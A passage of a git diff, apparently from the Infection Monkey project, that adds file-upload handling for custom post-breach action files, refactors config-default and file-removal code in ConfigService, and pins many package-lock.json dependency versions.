'custom_post_breach', 'linux_file_info']) + filename = secure_filename(request.files['filepond'].filename) + file_path = os.path.join(UPLOADS_DIR, filename) + request.files['filepond'].save(file_path) + file_size = os.path.getsize(file_path) + # config['monkey']['behaviour']['cutom_post_breach']['linux_file_info']['size'] = file_size + # config['monkey']['behaviour']['cutom_post_breach']['linux_file_info']['name'] = filename + # ConfigService.update_config(config, True) + + + elif file_type == 'PBAwindows': + request.files['filepond'].save("./useless.file") diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index ae09ed176..b65517de0 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -70,11 +70,13 @@ class ConfigService: :param is_initial_config: If True, returns the value of the initial config instead of the current config. :param should_decrypt: If True, the value of the config key will be decrypted (if it's in the list of encrypted config values). - :return: The value of the requested config key. + :return: The value of the requested config key or False, if such key doesn't exist. """ config_key = functools.reduce(lambda x, y: x + '.' + y, config_key_as_arr) config = mongo.db.config.find_one({'name': 'initial' if is_initial_config else 'newconfig'}, {config_key: 1}) for config_key_part in config_key_as_arr: + if config_key_part not in config: + return False config = config[config_key_part] if should_decrypt: if config_key_as_arr in ENCRYPTED_CONFIG_ARRAYS: @@ -142,8 +144,6 @@ class ConfigService: @staticmethod def update_config(config_json, should_encrypt): - if 'custom_post_breach' in config_json['monkey']['behaviour']: - ConfigService.add_PBA_files(config_json['monkey']['behaviour']['custom_post_breach']) if should_encrypt: try: ConfigService.encrypt_config(config_json) @@ -211,13 +211,7 @@ class ConfigService: if instance != {}: return for property, subschema in properties.iteritems(): - main_dict = {} - for property2, subschema2 in subschema["properties"].iteritems(): - sub_dict = {} - for property3, subschema3 in subschema2["properties"].iteritems(): - if "default" in subschema3: - sub_dict[property3] = subschema3["default"] - main_dict[property2] = sub_dict + main_dict = ConfigService.r_get_properties(subschema) instance.setdefault(property, main_dict) for error in validate_properties(validator, properties, instance, schema): @@ -227,6 +221,16 @@ class ConfigService: validator_class, {"properties": set_defaults}, ) + @staticmethod + def r_get_properties(schema): + if "default" in schema: + return schema["default"] + if "properties" in schema: + dict_ = {} + for property, subschema in schema["properties"].iteritems(): + dict_[property] = ConfigService.r_get_properties(subschema) + return dict_ + @staticmethod def decrypt_config(config): ConfigService._encrypt_or_decrypt_config(config, True) @@ -312,13 +316,15 @@ class ConfigService: @staticmethod def remove_PBA_files(): - # Remove PBA files - current_config = ConfigService.get_config() - if current_config: - linux_file_name = ConfigService.get_config_value(['monkey', 'behaviour', 'custom_post_breach', 'linux_file_info', 'name']) - windows_file_name = ConfigService.get_config_value(['monkey', 'behaviour', 'custom_post_breach', 'windows_file_info', 'name']) - ConfigService.remove_file(linux_file_name) - ConfigService.remove_file(windows_file_name) + if ConfigService.get_config(): + linux_file_name = ConfigService.get_config_value( + ['monkey', 'behaviour', 'custom_post_breach', 'linux_file_info', 'name']) + windows_file_name = ConfigService.get_config_value( + ['monkey', 'behaviour', 'custom_post_breach', 'windows_file_info', 'name']) + if linux_file_name: + ConfigService.remove_file(linux_file_name) + if windows_file_name: + ConfigService.remove_file(windows_file_name) @staticmethod def remove_file(file_name): diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index dfc27e510..5d3aec681 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -375,8 +375,6 @@ SCHEMA = { } } }, - "default": [ - ], "description": "List of actions the Monkey will run post breach" }, "self_delete_in_cleanup": { diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 30c37db74..11fafe535 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -3055,7 +3055,7 @@ "copy-to-clipboard": { "version": "3.0.8", "resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.0.8.tgz", - "integrity": "sha1-9OgvSogw3ORma3643tDJvMMTq6k=", + "integrity": "sha512-c3GdeY8qxCHGezVb1EFQfHYK/8NZRemgcTIzPq7PuxjHAf/raKibn2QdhHPb/y6q74PMgH6yizaDZlRmw6QyKw==", "requires": { "toggle-selection": "1.0.6" } @@ -3086,9 +3086,9 @@ "integrity": "sha512-4FG+RSG9DL7uEwRUZXZn3SS34DiDPfzP0VOiEwtUWlE+AR2EIg+hSyvrIgUUfhdgR/UkAeW2QHgeP+hWrXs7jQ==", "dev": true, "requires": { - "string-width": "^2.1.1", - "strip-ansi": "^4.0.0", - "wrap-ansi": "^2.0.0" + "string-width": "2.1.1", + "strip-ansi": "4.0.0", + "wrap-ansi": "2.1.0" } }, "find-up": { @@ -3097,7 +3097,7 @@ "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", "dev": true, "requires": { - "locate-path": "^2.0.0" + "locate-path": "2.0.0" } }, "strip-ansi": { @@ -3106,7 +3106,7 @@ "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { - "ansi-regex": "^3.0.0" + "ansi-regex": "3.0.0" } }, "yargs": { @@ -3115,18 +3115,18 @@ "integrity": "sha512-NwW69J42EsCSanF8kyn5upxvjp5ds+t3+udGBeTbFnERA+lF541DDpMawzo4z6W/QrzNM18D+BPMiOBibnFV5A==", "dev": true, "requires": { - "cliui": "^4.0.0", - "decamelize": "^1.1.1", - "find-up": "^2.1.0", - "get-caller-file": "^1.0.1", - "os-locale": "^2.0.0", - "require-directory": "^2.1.1", - "require-main-filename": "^1.0.1", - "set-blocking": "^2.0.0", - "string-width": "^2.0.0", - "which-module": "^2.0.0", - "y18n": "^3.2.1", - "yargs-parser": "^9.0.2" + "cliui": "4.1.0", + "decamelize": "1.2.0", + "find-up": "2.1.0", + "get-caller-file": "1.0.3", + "os-locale": "2.1.0", + "require-directory": "2.1.1", + "require-main-filename": "1.0.1", + "set-blocking": "2.0.0", + "string-width": "2.1.1", + "which-module": "2.0.0", + "y18n": "3.2.1", + "yargs-parser": "9.0.2" } } } @@ -4193,9 +4193,9 @@ "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", "dev": true, "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.5.0" } }, "cross-spawn": { @@ -4204,11 +4204,11 @@ "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", "dev": true, "requires": { - "nice-try": "^1.0.4", - "path-key": "^2.0.1", - "semver": "^5.5.0", - "shebang-command": "^1.2.0", - "which": "^1.2.9" + "nice-try": "1.0.5", + "path-key": "2.0.1", + "semver": "5.5.1", + "shebang-command": "1.2.0", + "which": "1.3.0" } }, "debug": { @@ -4226,8 +4226,8 @@ "integrity": "sha512-1G6UTDi7Jc1ELFwnR58HV4fK9OQK4S6N985f166xqXxpjU6plxFISJa2Ba9KCQuFa8RCnj/lSFJbHo7UFDBnUA==", "dev": true, "requires": { - "esrecurse": "^4.1.0", - "estraverse": "^4.1.1" + "esrecurse": "4.2.1", + "estraverse": "4.2.0" } }, "esprima": { @@ -4266,8 +4266,8 @@ "integrity": "sha512-PIt2cnwmPfL4hKNwqeiuz4bKfnzHTBv6HyVgjahA6mPLwPDzjDWrplJBMjHUFxku/N3FlmrbyPclad+I+4mJ3A==", "dev": true, "requires": { - "argparse": "^1.0.7", - "esprima": "^4.0.0" + "argparse": "1.0.9", + "esprima": "4.0.1" } }, "json-schema-traverse": { @@ -4300,7 +4300,7 @@ "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { - "ansi-regex": "^3.0.0" + "ansi-regex": "3.0.0" } }, "supports-color": { @@ -4333,9 +4333,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" } } } @@ -4882,6 +4882,11 @@ "dev": true, "optional": true }, + "filepond": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.2.0.tgz", + "integrity": "sha512-JTSvxTQGbCXMZGoPOIjCKImv+Al3Y5z3f6gRoUGlQdqpnMHdnwOV0WG3hRCVBDN64ctAN3pgKtofkWfsnwwoTA==" + }, "fill-range": { "version": "2.2.3", "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-2.2.3.tgz", @@ -5194,8 +5199,8 @@ "dev": true, "optional": true, "requires": { - "co": "^4.6.0", - "json-stable-stringify": "^1.0.1" + "co": "4.6.0", + "json-stable-stringify": "1.0.1" } }, "ansi-regex": { @@ -5267,27 +5272,24 @@ "version": "0.0.9", "bundled": true, "dev": true, - "optional": true, "requires": { - "inherits": "~2.0.0" + "inherits": "2.0.3" } }, "boom": { "version": "2.10.1", "bundled": true, "dev": true, - "optional": true, "requires": { - "hoek": "2.x.x" + "hoek": "2.16.3" } }, "brace-expansion": { "version": "1.1.7", "bundled": true, "dev": true, - "optional": true, "requires": { - "balanced-match": "^0.4.1", + "balanced-match": "0.4.2", "concat-map": "0.0.1" } }, @@ -5311,35 +5313,30 @@ "code-point-at": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "combined-stream": { "version": "1.0.5", "bundled": true, "dev": true, - "optional": true, "requires": { - "delayed-stream": "~1.0.0" + "delayed-stream": "1.0.0" } }, "concat-map": { "version": "0.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "console-control-strings": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "core-util-is": { "version": "1.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "cryptiles": { "version": "2.0.5", @@ -5347,7 +5344,7 @@ "dev": true, "optional": true, "requires": { - "boom": "2.x.x" + "boom": "2.10.1" } }, "dashdash": { @@ -5356,7 +5353,7 @@ "dev": true, "optional": true, "requires": { - "assert-plus": "^1.0.0" + "assert-plus": "1.0.0" }, "dependencies": { "assert-plus": { @@ -5385,8 +5382,7 @@ "delayed-stream": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "delegates": { "version": "1.0.0", @@ -5400,7 +5396,7 @@ "dev": true, "optional": true, "requires": { - "jsbn": "~0.1.0" + "jsbn": "0.1.1" } }, "extend": { @@ -5412,8 +5408,7 @@ "extsprintf": { "version": "1.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "forever-agent": { "version": "0.6.1", @@ -5435,14 +5430,12 @@ "fs.realpath": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "fstream": { "version": "1.0.11", "bundled": true, "dev": true, - "optional": true, "requires": { "graceful-fs": "4.1.11", "inherits": "2.0.3", @@ -5483,7 +5476,7 @@ "dev": true, "optional": true, "requires": { - "assert-plus": "^1.0.0" + "assert-plus": "1.0.0" }, "dependencies": { "assert-plus": { @@ -5498,7 +5491,6 @@ "version": "7.1.2", "bundled": true, "dev": true, - "optional": true, "requires": { "fs.realpath": "1.0.0", "inflight": "1.0.6", @@ -5511,8 +5503,7 @@ "graceful-fs": { "version": "4.1.11", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "har-schema": { "version": "1.0.5", @@ -5526,8 +5517,8 @@ "dev": true, "optional": true, "requires": { - "ajv": "^4.9.1", - "har-schema": "^1.0.5" + "ajv": "4.11.8", + "har-schema": "1.0.5" } }, "has-unicode": { @@ -5551,8 +5542,7 @@ "hoek": { "version": "2.16.3", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "http-signature": { "version": "1.1.1", @@ -5569,7 +5559,6 @@ "version": "1.0.6", "bundled": true, "dev": true, - "optional": true, "requires": { "once": "1.4.0", "wrappy": "1.0.2" @@ -5590,7 +5579,6 @@ "version": "1.0.0", "bundled": true, "dev": true, - "optional": true, "requires": { "number-is-nan": "1.0.1" } @@ -5604,8 +5592,7 @@ "isarray": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "isstream": { "version": "0.1.2", @@ -5619,14 +5606,13 @@ "dev": true, "optional": true, "requires": { - "jsbn": "~0.1.0" + "jsbn": "0.1.1" } }, "jsbn": { "version": "0.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "json-schema": { "version": "0.2.3", @@ -5640,7 +5626,7 @@ "dev": true, "optional": true, "requires": { - "jsonify": "~0.0.0" + "jsonify": "0.0.0" } }, "json-stringify-safe": { @@ -5678,14 +5664,12 @@ "mime-db": { "version": "1.27.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "mime-types": { "version": "2.1.15", "bundled": true, "dev": true, - "optional": true, "requires": { "mime-db": "1.27.0" } @@ -5694,7 +5678,6 @@ "version": "3.0.4", "bundled": true, "dev": true, - "optional": true, "requires": { "brace-expansion": "1.1.7" } @@ -5702,14 +5685,12 @@ "minimist": { "version": "0.0.8", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "mkdirp": { "version": "0.5.1", "bundled": true, "dev": true, - "optional": true, "requires": { "minimist": "0.0.8" } @@ -5762,8 +5743,7 @@ "number-is-nan": { "version": "1.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "oauth-sign": { "version": "0.8.2", @@ -5810,8 +5790,7 @@ "path-is-absolute": { "version": "1.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "performance-now": { "version": "0.2.0", @@ -5822,8 +5801,7 @@ "process-nextick-args": { "version": "1.0.7", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "punycode": { "version": "1.4.1", @@ -5861,7 +5839,6 @@ "version": "2.2.9", "bundled": true, "dev": true, - "optional": true, "requires": { "buffer-shims": "1.0.0", "core-util-is": "1.0.2", @@ -5906,7 +5883,6 @@ "version": "2.6.1", "bundled": true, "dev": true, - "optional": true, "requires": { "glob": "7.1.2" } @@ -5914,8 +5890,7 @@ "safe-buffer": { "version": "5.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "semver": { "version": "5.3.0", @@ -5973,7 +5948,6 @@ "version": "1.0.2", "bundled": true, "dev": true, - "optional": true, "requires": { "code-point-at": "1.1.0", "is-fullwidth-code-point": "1.0.0", @@ -5984,7 +5958,6 @@ "version": "1.0.1", "bundled": true, "dev": true, - "optional": true, "requires": { "safe-buffer": "5.0.1" } @@ -5999,7 +5972,6 @@ "version": "3.0.1", "bundled": true, "dev": true, - "optional": true, "requires": { "ansi-regex": "2.1.1" } @@ -6014,7 +5986,6 @@ "version": "2.2.1", "bundled": true, "dev": true, - "optional": true, "requires": { "block-stream": "0.0.9", "fstream": "1.0.11", @@ -6070,8 +6041,7 @@ "util-deprecate": { "version": "1.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "uuid": { "version": "3.0.1", @@ -6465,7 +6435,7 @@ "history": { "version": "4.7.2", "resolved": "https://registry.npmjs.org/history/-/history-4.7.2.tgz", - "integrity": "sha1-IrXH8xYzxbgCHH9KipVKwTnujVs=", + "integrity": "sha512-1zkBRWW6XweO0NBcjiphtVJVsIQ+SXF29z9DVkceeaSLVMFXHool+fdCZD4spDCfZJCILPILc3bm7Bc+HRi0nA==", "requires": { "invariant": "2.2.2", "loose-envify": "1.3.1", @@ -7203,7 +7173,7 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "^1.9.0" + "color-convert": "1.9.0" } }, "chalk": { @@ -7212,9 +7182,9 @@ "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", "dev": true, "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.5.0" } }, "has-flag": { @@ -7229,7 +7199,7 @@ "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { - "ansi-regex": "^3.0.0" + "ansi-regex": "3.0.0" } }, "supports-color": { @@ -8047,21 +8017,19 @@ "dev": true, "optional": true, "requires": { - "delegates": "^1.0.0", - "readable-stream": "^2.0.6" + "delegates": "1.0.0", + "readable-stream": "2.3.6" } }, "balanced-match": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "brace-expansion": { "version": "1.1.11", "bundled": true, "dev": true, - "optional": true, "requires": { "balanced-match": "1.0.0", "concat-map": "0.0.1" @@ -8081,8 +8049,7 @@ "concat-map": { "version": "0.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "console-control-strings": { "version": "1.1.0", @@ -8143,14 +8110,14 @@ "dev": true, "optional": true, "requires": { - "aproba": "^1.0.3", - "console-control-strings": "^1.0.0", - "has-unicode": "^2.0.0", - "object-assign": "^4.1.0", - "signal-exit": "^3.0.0", - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wide-align": "^1.1.0" + "aproba": "1.2.0", + "console-control-strings": "1.1.0", + "has-unicode": "2.0.1", + "object-assign": "4.1.1", + "signal-exit": "3.0.2", + "string-width": "1.0.2", + "strip-ansi": "3.0.1", + "wide-align": "1.1.2" } }, "glob": { @@ -8179,7 +8146,7 @@ "dev": true, "optional": true, "requires": { - "safer-buffer": "^2.1.0" + "safer-buffer": "2.1.2" } }, "ignore-walk": { @@ -8217,7 +8184,7 @@ "bundled": true, "dev": true, "requires": { - "number-is-nan": "^1.0.0" + "number-is-nan": "1.0.1" } }, "isarray": { @@ -8230,7 +8197,6 @@ "version": "3.0.4", "bundled": true, "dev": true, - "optional": true, "requires": { "brace-expansion": "1.1.11" } @@ -8278,9 +8244,9 @@ "dev": true, "optional": true, "requires": { - "debug": "^2.1.2", - "iconv-lite": "^0.4.4", - "sax": "^1.2.4" + "debug": "2.6.9", + "iconv-lite": "0.4.21", + "sax": "1.2.4" } }, "node-pre-gyp": { @@ -8307,8 +8273,8 @@ "dev": true, "optional": true, "requires": { - "abbrev": "1", - "osenv": "^0.1.4" + "abbrev": "1.1.1", + "osenv": "0.1.5" } }, "npm-bundled": { @@ -8323,8 +8289,8 @@ "dev": true, "optional": true, "requires": { - "ignore-walk": "^3.0.1", - "npm-bundled": "^1.0.1" + "ignore-walk": "3.0.1", + "npm-bundled": "1.0.3" } }, "npmlog": { @@ -8376,8 +8342,8 @@ "dev": true, "optional": true, "requires": { - "os-homedir": "^1.0.0", - "os-tmpdir": "^1.0.0" + "os-homedir": "1.0.2", + "os-tmpdir": "1.0.2" } }, "path-is-absolute": { @@ -8398,10 +8364,10 @@ "dev": true, "optional": true, "requires": { - "deep-extend": "^0.5.1", - "ini": "~1.3.0", - "minimist": "^1.2.0", - "strip-json-comments": "~2.0.1" + "deep-extend": "0.5.1", + "ini": "1.3.5", + "minimist": "1.2.0", + "strip-json-comments": "2.0.1" }, "dependencies": { "minimist": { @@ -8418,13 +8384,13 @@ "dev": true, "optional": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "rimraf": { @@ -8476,9 +8442,9 @@ "bundled": true, "dev": true, "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" } }, "string_decoder": { @@ -8487,7 +8453,7 @@ "dev": true, "optional": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } }, "strip-ansi": { @@ -8495,7 +8461,7 @@ "bundled": true, "dev": true, "requires": { - "ansi-regex": "^2.0.0" + "ansi-regex": "2.1.1" } }, "strip-json-comments": { @@ -8531,7 +8497,7 @@ "dev": true, "optional": true, "requires": { - "string-width": "^1.0.2" + "string-width": "1.0.2" } }, "wrappy": { @@ -8809,7 +8775,7 @@ "integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==", "dev": true, "requires": { - "lodash": "^4.17.10" + "lodash": "4.17.10" } }, "loader-utils": { @@ -8818,9 +8784,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" } } } @@ -13604,6 +13570,11 @@ "prop-types": "15.6.2" } }, + "react-filepond": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/react-filepond/-/react-filepond-7.0.1.tgz", + "integrity": "sha512-PitNM44JP0K5hXnkSYV3HRlkObsWbhqaJRWizMrdHpS3pPz9/iyiOGmRpc+4T4ST3vblmiUTLRYq/+1bDcSqQw==" + }, "react-graph-vis": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/react-graph-vis/-/react-graph-vis-1.0.2.tgz", @@ -13668,10 +13639,10 @@ "resolved": "https://registry.npmjs.org/ajv/-/ajv-5.5.2.tgz", "integrity": "sha1-c7Xuyj+rZT49P5Qis0GtQiBdyWU=", "requires": { - "co": "^4.6.0", - "fast-deep-equal": "^1.0.0", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.3.0" + "co": "4.6.0", + "fast-deep-equal": "1.1.0", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.3.1" } }, "babel-runtime": { @@ -13679,8 +13650,8 @@ "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.26.0.tgz", "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "requires": { - "core-js": "^2.4.0", - "regenerator-runtime": "^0.11.0" + "core-js": "2.5.7", + "regenerator-runtime": "0.11.1" } }, "regenerator-runtime": { @@ -14235,7 +14206,7 @@ "resolve-pathname": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/resolve-pathname/-/resolve-pathname-2.2.0.tgz", - "integrity": "sha1-fpriHtgV/WOrGJre7mTcgx7vqHk=" + "integrity": "sha512-bAFz9ld18RzJfddgrO2e/0S2O81710++chRMUxHjXOYKF6jTAMrUNZrEZ1PvV0zlhfjidm08iRPdTLPno1FuRg==" }, "resolve-url": { "version": "0.2.1", @@ -15915,9 +15886,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" } }, "schema-utils": { @@ -15926,9 +15897,9 @@ "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", "dev": true, "requires": { - "ajv": "^6.1.0", - "ajv-errors": "^1.0.0", - "ajv-keywords": "^3.1.0" + "ajv": "6.5.2", + "ajv-errors": "1.0.0", + "ajv-keywords": "3.2.0" } } } @@ -16046,7 +16017,7 @@ "value-equal": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/value-equal/-/value-equal-0.4.0.tgz", - "integrity": "sha1-xb3S9U7gk8BIOdcc4uR1imiQq8c=" + "integrity": "sha512-x+cYdNnaA3CxvMaTX0INdTCN8m8aF2uY9BvEqmxuYp8bL09cs/kWVQPVGcA35fMktdOsP69IgU7wFj/61dJHEw==" }, "vary": { "version": "1.1.2", @@ -16354,8 +16325,7 @@ "ansi-regex": { "version": "2.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "aproba": { "version": "1.2.0", @@ -16376,14 +16346,12 @@ "balanced-match": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "brace-expansion": { "version": "1.1.11", "bundled": true, "dev": true, - "optional": true, "requires": { "balanced-match": "1.0.0", "concat-map": "0.0.1" @@ -16398,20 +16366,17 @@ "code-point-at": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "concat-map": { "version": "0.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "console-control-strings": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "core-util-is": { "version": "1.0.2", @@ -16528,8 +16493,7 @@ "inherits": { "version": "2.0.3", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "ini": { "version": "1.3.5", @@ -16541,7 +16505,6 @@ "version": "1.0.0", "bundled": true, "dev": true, - "optional": true, "requires": { "number-is-nan": "1.0.1" } @@ -16556,7 +16519,6 @@ "version": "3.0.4", "bundled": true, "dev": true, - "optional": true, "requires": { "brace-expansion": "1.1.11" } @@ -16564,8 +16526,7 @@ "minimist": { "version": "0.0.8", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "minipass": { "version": "2.2.4", @@ -16589,7 +16550,6 @@ "version": "0.5.1", "bundled": true, "dev": true, - "optional": true, "requires": { "minimist": "0.0.8" } @@ -16670,8 +16630,7 @@ "number-is-nan": { "version": "1.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "object-assign": { "version": "4.1.1", @@ -17061,16 +17020,16 @@ "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", "dev": true, "requires": { - "arr-flatten": "^1.1.0", - "array-unique": "^0.3.2", - "extend-shallow": "^2.0.1", - "fill-range": "^4.0.0", - "isobject": "^3.0.1", - "repeat-element": "^1.1.2", - "snapdragon": "^0.8.1", - "snapdragon-node": "^2.0.1", - "split-string": "^3.0.2", - "to-regex": "^3.0.1" + "arr-flatten": "1.1.0", + "array-unique": "0.3.2", + "extend-shallow": "2.0.1", + "fill-range": "4.0.0", + "isobject": "3.0.1", + "repeat-element": "1.1.2", + "snapdragon": "0.8.2", + "snapdragon-node": "2.1.1", + "split-string": "3.1.0", + "to-regex": "3.0.2" }, "dependencies": { "extend-shallow": { @@ -17079,7 +17038,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -17090,8 +17049,8 @@ "integrity": "sha512-1G6UTDi7Jc1ELFwnR58HV4fK9OQK4S6N985f166xqXxpjU6plxFISJa2Ba9KCQuFa8RCnj/lSFJbHo7UFDBnUA==", "dev": true, "requires": { - "esrecurse": "^4.1.0", - "estraverse": "^4.1.1" + "esrecurse": "4.2.1", + "estraverse": "4.2.0" } }, "expand-brackets": { @@ -17100,13 +17059,13 @@ "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", "dev": true, "requires": { - "debug": "^2.3.3", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "posix-character-classes": "^0.1.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" + "debug": "2.6.8", + "define-property": "0.2.5", + "extend-shallow": "2.0.1", + "posix-character-classes": "0.1.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" }, "dependencies": { "define-property": { @@ -17115,7 +17074,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "^0.1.0" + "is-descriptor": "0.1.6" } }, "extend-shallow": { @@ -17124,7 +17083,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } }, "is-accessor-descriptor": { @@ -17133,7 +17092,7 @@ "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -17142,7 +17101,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -17153,7 +17112,7 @@ "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", "dev": true, "requires": { - "kind-of": "^3.0.2" + "kind-of": "3.2.2" }, "dependencies": { "kind-of": { @@ -17162,7 +17121,7 @@ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", "dev": true, "requires": { - "is-buffer": "^1.1.5" + "is-buffer": "1.1.5" } } } @@ -17173,9 +17132,9 @@ "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", "dev": true, "requires": { - "is-accessor-descriptor": "^0.1.6", - "is-data-descriptor": "^0.1.4", - "kind-of": "^5.0.0" + 